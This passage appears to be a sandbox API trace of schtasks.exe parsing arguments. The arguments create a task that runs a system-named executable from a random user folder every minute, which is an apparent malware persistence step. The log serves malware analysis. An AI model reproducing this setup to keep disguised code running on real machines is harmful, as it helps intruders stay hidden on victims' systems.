_BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tr|") returned 4 [0171.481] lstrlenW (lpString="|mo|") returned 4 [0171.481] lstrlenW (lpString="|tr|") returned 4 [0171.481] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0171.481] RtlRestoreLastWin32Error () returned 0x490 [0171.481] lstrlenW (lpString="d") returned 1 [0171.482] lstrlenW (lpString="d") returned 1 [0171.482] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.482] lstrlenW (lpString="tr") returned 2 [0171.482] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.482] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|d|") returned 3 [0171.482] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tr|") returned 4 [0171.482] lstrlenW (lpString="|d|") returned 3 [0171.482] lstrlenW (lpString="|tr|") returned 4 [0171.482] RtlRestoreLastWin32Error () returned 0x490 [0171.482] lstrlenW (lpString="m") returned 1 [0171.482] lstrlenW (lpString="m") returned 1 [0171.482] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.482] lstrlenW (lpString="tr") returned 2 [0171.482] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.482] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|m|") returned 3 [0171.483] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tr|") returned 4 [0171.483] lstrlenW (lpString="|m|") returned 3 [0171.483] lstrlenW (lpString="|tr|") returned 4 [0171.483] RtlRestoreLastWin32Error () returned 0x490 [0171.483] lstrlenW (lpString="i") returned 1 [0171.483] lstrlenW (lpString="i") returned 1 [0171.483] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.483] lstrlenW (lpString="tr") returned 2 [0171.483] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.483] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|i|") returned 3 [0171.483] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tr|") returned 4 [0171.483] lstrlenW (lpString="|i|") returned 3 [0171.483] lstrlenW (lpString="|tr|") returned 4 [0171.483] RtlRestoreLastWin32Error () returned 0x490 [0171.483] lstrlenW (lpString="tn") returned 2 [0171.484] lstrlenW (lpString="tn") returned 2 [0171.484] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.484] lstrlenW (lpString="tr") returned 2 [0171.484] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.484] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tn|") returned 4 [0171.484] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tr|") returned 4 [0171.484] lstrlenW (lpString="|tn|") returned 4 [0171.484] lstrlenW (lpString="|tr|") returned 4 [0171.484] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0171.484] RtlRestoreLastWin32Error () returned 0x490 [0171.484] lstrlenW (lpString="tr") returned 2 [0171.484] lstrlenW (lpString="tr") returned 2 [0171.484] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.494] lstrlenW (lpString="tr") returned 2 [0171.494] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.494] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tr|") returned 4 [0171.494] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|tr|") returned 4 [0171.494] lstrlenW (lpString="|tr|") returned 4 [0171.494] lstrlenW (lpString="|tr|") returned 4 [0171.494] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0171.494] RtlRestoreLastWin32Error () returned 0x0 [0171.494] RtlRestoreLastWin32Error () returned 0x0 [0171.494] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\btpanui\\SystemPropertiesPerformance.exe") returned 61 [0171.494] lstrlenW (lpString="-/") returned 2 [0171.494] StrChrIW (lpStart="-/", wMatch=0x4880043) returned 0x0 [0171.495] RtlRestoreLastWin32Error () returned 0x490 [0171.495] RtlRestoreLastWin32Error () returned 0x490 [0171.495] RtlRestoreLastWin32Error () returned 0x0 [0171.495] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\btpanui\\SystemPropertiesPerformance.exe") returned 61 [0171.495] StrChrIW (lpStart="C:\\Users\\RDhJ0CNFevzX\\btpanui\\SystemPropertiesPerformance.exe", wMatch=0x3a) returned=":\\Users\\RDhJ0CNFevzX\\btpanui\\SystemPropertiesPerformance.exe" [0171.495] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\btpanui\\SystemPropertiesPerformance.exe") returned 61 [0171.495] _memicmp (_Buf1=0x46b7610, _Buf2=0x232708, _Size=0x7) returned 0 [0171.495] _memicmp (_Buf1=0x46b7568, _Buf2=0x232708, _Size=0x7) returned 0 [0171.495] RtlRestoreLastWin32Error () returned 0x7a [0171.495] RtlRestoreLastWin32Error () returned 0x0 [0171.495] RtlRestoreLastWin32Error () returned 0x0 [0171.495] lstrlenW (lpString="C") returned 1 [0171.495] RtlRestoreLastWin32Error () returned 0x490 [0171.495] RtlRestoreLastWin32Error () returned 0x0 [0171.495] GetProcessHeap () returned 0x46b0000 [0171.495] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x10) returned 0x46baca0 [0171.495] _memicmp (_Buf1=0x46baca0, _Buf2=0x232708, _Size=0x7) returned 0 [0171.496] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\btpanui\\SystemPropertiesPerformance.exe") returned 61 [0171.496] GetProcessHeap () returned 0x46b0000 [0171.496] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x7c) returned 0x46bab58 [0171.496] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\btpanui\\SystemPropertiesPerformance.exe") returned 61 [0171.496] lstrlenW (lpString=" \x09") returned 2 [0171.496] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0171.496] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0171.496] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0171.496] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0171.496] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0171.496] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0171.496] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0171.496] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0171.496] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0171.496] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0171.496] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0171.496] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0171.497] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0171.497] StrChrW (lpStart=" \x09", wMatch=0x4a) returned 0x0 [0171.497] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0171.497] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0171.497] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0171.497] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0171.497] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0171.497] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0171.497] StrChrW (lpStart=" \x09", wMatch=0x7a) returned 0x0 [0171.497] StrChrW (lpStart=" \x09", wMatch=0x58) returned 0x0 [0171.497] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0171.497] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0171.497] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0171.497] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0171.497] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0171.497] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0171.497] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0171.497] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0171.498] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0171.498] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0171.498] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0171.498] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0171.498] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0171.498] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0171.498] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0171.498] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0171.498] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0171.498] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0171.498] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0171.498] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0171.498] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0171.498] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0171.498] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0171.498] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0171.498] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0171.499] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0171.499] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0171.499] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0171.499] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0171.499] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0171.499] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0171.499] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0171.499] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0171.499] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0171.499] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0171.499] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0171.499] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0171.499] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0171.499] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0171.499] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0171.499] GetLastError () returned 0x0 [0171.499] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\btpanui\\SystemPropertiesPerformance.exe") returned 61 [0171.500] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\btpanui\\SystemPropertiesPerformance.exe") returned 61 [0171.500] RtlRestoreLastWin32Error () returned 0x0 [0171.500] RtlRestoreLastWin32Error () returned 0x0 [0171.500] lstrlenW (lpString="/sc") returned 3 [0171.500] lstrlenW (lpString="-/") returned 2 [0171.500] StrChrIW (lpStart="-/", wMatch=0x488002f) returned="/" [0171.500] lstrlenW (lpString="create") returned 6 [0171.500] lstrlenW (lpString="create") returned 6 [0171.500] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.500] lstrlenW (lpString="sc") returned 2 [0171.501] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.501] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|create|") returned 8 [0171.501] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|sc|") returned 4 [0171.501] lstrlenW (lpString="|create|") returned 8 [0171.501] lstrlenW (lpString="|sc|") returned 4 [0171.501] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0171.501] RtlRestoreLastWin32Error () returned 0x490 [0171.501] lstrlenW (lpString="?") returned 1 [0171.501] lstrlenW (lpString="?") returned 1 [0171.501] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.501] lstrlenW (lpString="sc") returned 2 [0171.501] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.501] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|?|") returned 3 [0171.501] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|sc|") returned 4 [0171.502] lstrlenW (lpString="|?|") returned 3 [0171.502] lstrlenW (lpString="|sc|") returned 4 [0171.502] RtlRestoreLastWin32Error () returned 0x490 [0171.502] lstrlenW (lpString="s") returned 1 [0171.502] lstrlenW (lpString="s") returned 1 [0171.502] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.502] lstrlenW (lpString="sc") returned 2 [0171.502] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.502] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|s|") returned 3 [0171.502] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|sc|") returned 4 [0171.502] lstrlenW (lpString="|s|") returned 3 [0171.502] lstrlenW (lpString="|sc|") returned 4 [0171.502] RtlRestoreLastWin32Error () returned 0x490 [0171.502] lstrlenW (lpString="u") returned 1 [0171.502] lstrlenW (lpString="u") returned 1 [0171.502] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.503] lstrlenW (lpString="sc") returned 2 [0171.503] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.503] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|u|") returned 3 [0171.503] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|sc|") returned 4 [0171.503] lstrlenW (lpString="|u|") returned 3 [0171.503] lstrlenW (lpString="|sc|") returned 4 [0171.503] RtlRestoreLastWin32Error () returned 0x490 [0171.503] lstrlenW (lpString="p") returned 1 [0171.503] lstrlenW (lpString="p") returned 1 [0171.503] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.503] lstrlenW (lpString="sc") returned 2 [0171.503] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.503] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|p|") returned 3 [0171.503] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|sc|") returned 4 [0171.503] lstrlenW (lpString="|p|") returned 3 [0171.504] lstrlenW (lpString="|sc|") returned 4 [0171.504] RtlRestoreLastWin32Error () returned 0x490 [0171.504] lstrlenW (lpString="ru") returned 2 [0171.504] lstrlenW (lpString="ru") returned 2 [0171.504] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.504] lstrlenW (lpString="sc") returned 2 [0171.504] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.504] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|ru|") returned 4 [0171.504] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|sc|") returned 4 [0171.504] lstrlenW (lpString="|ru|") returned 4 [0171.504] lstrlenW (lpString="|sc|") returned 4 [0171.504] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0171.504] RtlRestoreLastWin32Error () returned 0x490 [0171.504] lstrlenW (lpString="rp") returned 2 [0171.504] lstrlenW (lpString="rp") returned 2 [0171.504] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.505] lstrlenW (lpString="sc") returned 2 [0171.505] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.505] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|rp|") returned 4 [0171.505] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|sc|") returned 4 [0171.505] lstrlenW (lpString="|rp|") returned 4 [0171.505] lstrlenW (lpString="|sc|") returned 4 [0171.505] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0171.505] RtlRestoreLastWin32Error () returned 0x490 [0171.505] lstrlenW (lpString="sc") returned 2 [0171.505] lstrlenW (lpString="sc") returned 2 [0171.505] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.505] lstrlenW (lpString="sc") returned 2 [0171.505] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.505] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|sc|") returned 4 [0171.505] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|sc|") returned 4 [0171.506] lstrlenW (lpString="|sc|") returned 4 [0171.506] lstrlenW (lpString="|sc|") returned 4 [0171.506] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0171.506] RtlRestoreLastWin32Error () returned 0x0 [0171.506] RtlRestoreLastWin32Error () returned 0x0 [0171.506] lstrlenW (lpString="minute") returned 6 [0171.506] lstrlenW (lpString="-/") returned 2 [0171.506] StrChrIW (lpStart="-/", wMatch=0x488006d) returned 0x0 [0171.506] RtlRestoreLastWin32Error () returned 0x490 [0171.506] RtlRestoreLastWin32Error () returned 0x490 [0171.506] RtlRestoreLastWin32Error () returned 0x0 [0171.506] lstrlenW (lpString="minute") returned 6 [0171.506] StrChrIW (lpStart="minute", wMatch=0x3a) returned 0x0 [0171.506] RtlRestoreLastWin32Error () returned 0x490 [0171.506] RtlRestoreLastWin32Error () returned 0x0 [0171.506] _memicmp (_Buf1=0x46baca0, _Buf2=0x232708, _Size=0x7) returned 0 [0171.506] lstrlenW (lpString="minute") returned 6 [0171.506] lstrlenW (lpString="minute") returned 6 [0171.507] lstrlenW (lpString=" \x09") returned 2 [0171.507] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0171.507] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0171.507] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0171.507] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0171.507] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0171.507] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0171.507] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0171.507] GetLastError () returned 0x0 [0171.507] lstrlenW (lpString="minute") returned 6 [0171.507] lstrlenW (lpString="minute") returned 6 [0171.507] RtlRestoreLastWin32Error () returned 0x0 [0171.507] RtlRestoreLastWin32Error () returned 0x0 [0171.507] lstrlenW (lpString="/mo") returned 3 [0171.507] lstrlenW (lpString="-/") returned 2 [0171.507] StrChrIW (lpStart="-/", wMatch=0x488002f) returned="/" [0171.507] lstrlenW (lpString="create") returned 6 [0171.508] lstrlenW (lpString="create") returned 6 [0171.508] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.508] lstrlenW (lpString="mo") returned 2 [0171.508] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.508] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|create|") returned 8 [0171.508] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|mo|") returned 4 [0171.508] lstrlenW (lpString="|create|") returned 8 [0171.508] lstrlenW (lpString="|mo|") returned 4 [0171.508] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0171.508] RtlRestoreLastWin32Error () returned 0x490 [0171.508] lstrlenW (lpString="?") returned 1 [0171.508] lstrlenW (lpString="?") returned 1 [0171.508] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.508] lstrlenW (lpString="mo") returned 2 [0171.508] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.509] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|?|") returned 3 [0171.509] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|mo|") returned 4 [0171.509] lstrlenW (lpString="|?|") returned 3 [0171.509] lstrlenW (lpString="|mo|") returned 4 [0171.509] RtlRestoreLastWin32Error () returned 0x490 [0171.509] lstrlenW (lpString="s") returned 1 [0171.509] lstrlenW (lpString="s") returned 1 [0171.509] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.509] lstrlenW (lpString="mo") returned 2 [0171.509] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.509] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|s|") returned 3 [0171.509] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|mo|") returned 4 [0171.509] lstrlenW (lpString="|s|") returned 3 [0171.509] lstrlenW (lpString="|mo|") returned 4 [0171.509] RtlRestoreLastWin32Error () returned 0x490 [0171.510] lstrlenW (lpString="u") returned 1 [0171.510] lstrlenW (lpString="u") returned 1 [0171.510] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.510] lstrlenW (lpString="mo") returned 2 [0171.510] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.510] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|u|") returned 3 [0171.510] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|mo|") returned 4 [0171.510] lstrlenW (lpString="|u|") returned 3 [0171.510] lstrlenW (lpString="|mo|") returned 4 [0171.510] RtlRestoreLastWin32Error () returned 0x490 [0171.510] lstrlenW (lpString="p") returned 1 [0171.510] lstrlenW (lpString="p") returned 1 [0171.510] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.510] lstrlenW (lpString="mo") returned 2 [0171.510] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.511] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|p|") returned 3 [0171.511] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|mo|") returned 4 [0171.511] lstrlenW (lpString="|p|") returned 3 [0171.511] lstrlenW (lpString="|mo|") returned 4 [0171.511] RtlRestoreLastWin32Error () returned 0x490 [0171.511] lstrlenW (lpString="ru") returned 2 [0171.511] lstrlenW (lpString="ru") returned 2 [0171.511] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.511] lstrlenW (lpString="mo") returned 2 [0171.511] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.511] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|ru|") returned 4 [0171.511] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|mo|") returned 4 [0171.511] lstrlenW (lpString="|ru|") returned 4 [0171.511] lstrlenW (lpString="|mo|") returned 4 [0171.512] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0171.512] RtlRestoreLastWin32Error () returned 0x490 [0171.512] lstrlenW (lpString="rp") returned 2 [0171.512] lstrlenW (lpString="rp") returned 2 [0171.512] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.512] lstrlenW (lpString="mo") returned 2 [0171.512] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.512] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|rp|") returned 4 [0171.512] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|mo|") returned 4 [0171.512] lstrlenW (lpString="|rp|") returned 4 [0171.512] lstrlenW (lpString="|mo|") returned 4 [0171.512] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0171.512] RtlRestoreLastWin32Error () returned 0x490 [0171.512] lstrlenW (lpString="sc") returned 2 [0171.512] lstrlenW (lpString="sc") returned 2 [0171.512] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.513] lstrlenW (lpString="mo") returned 2 [0171.513] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.513] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|sc|") returned 4 [0171.513] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|mo|") returned 4 [0171.513] lstrlenW (lpString="|sc|") returned 4 [0171.513] lstrlenW (lpString="|mo|") returned 4 [0171.513] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0171.513] RtlRestoreLastWin32Error () returned 0x490 [0171.513] lstrlenW (lpString="mo") returned 2 [0171.513] lstrlenW (lpString="mo") returned 2 [0171.513] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.513] lstrlenW (lpString="mo") returned 2 [0171.513] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.514] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|mo|") returned 4 [0171.514] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcc9f8 | out: _Buffer="|mo|") returned 4 [0171.514] lstrlenW (lpString="|mo|") returned 4 [0171.514] lstrlenW (lpString="|mo|") returned 4 [0171.514] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0171.514] RtlRestoreLastWin32Error () returned 0x0 [0171.514] RtlRestoreLastWin32Error () returned 0x0 [0171.514] lstrlenW (lpString="1") returned 1 [0171.514] RtlRestoreLastWin32Error () returned 0x490 [0171.514] RtlRestoreLastWin32Error () returned 0x0 [0171.514] lstrlenW (lpString="1") returned 1 [0171.514] StrChrIW (lpStart="1", wMatch=0x3a) returned 0x0 [0171.514] RtlRestoreLastWin32Error () returned 0x490 [0171.514] RtlRestoreLastWin32Error () returned 0x0 [0171.514] _memicmp (_Buf1=0x46baca0, _Buf2=0x232708, _Size=0x7) returned 0 [0171.514] lstrlenW (lpString="1") returned 1 [0171.514] lstrlenW (lpString="1") returned 1 [0171.515] lstrlenW (lpString=" \x09") returned 2 [0171.515] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0171.515] StrChrW (lpStart=" 